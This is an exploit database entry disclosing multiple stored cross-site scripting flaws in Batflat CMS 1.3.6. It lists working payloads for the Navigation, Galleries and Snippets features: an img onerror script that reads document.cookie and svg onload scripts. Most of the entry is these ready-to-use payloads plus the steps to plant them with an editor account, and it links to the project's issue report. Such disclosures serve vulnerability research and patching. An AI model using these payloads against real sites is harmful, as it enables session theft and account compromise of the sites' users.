Batflat CMS 1.3.6 - 'multiple' Stored XSS

Author: Tadjmen
type: webapps
platform: php
port: 
date_added: 2021-02-23 
date_updated: 2021-02-23 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: Batflat CMS 1.3.6 - 'multiple' Stored XSS
# Date: 22/02/2021
# Exploit Author: Tadjmen
# Vendor Homepage: https://batflat.org/
# Software Link: https://github.com/sruupl/batflat/archive/master.zip
# Version: 1.3.6
# Tested on: Xammpp on Windows, Firefox Newest
# CVE : N/A

Multiple Stored XSS Cross-Site Scripting on Batflat CMS 1.3.6

Login with editor account with rights to Navigation, Galleries, Snippets

Navigation
- Add link
payload: "><img src=x onerror=alert(document.cookie)>

Galleries
- Add gallery
payload: mlem"><svg/onload=alert(1)>

Snippets
- Add Snippets
payload: mlem"><svg/onload=alert("TuongNC")>

More information:
https://github.com/sruupl/batflat/issues/105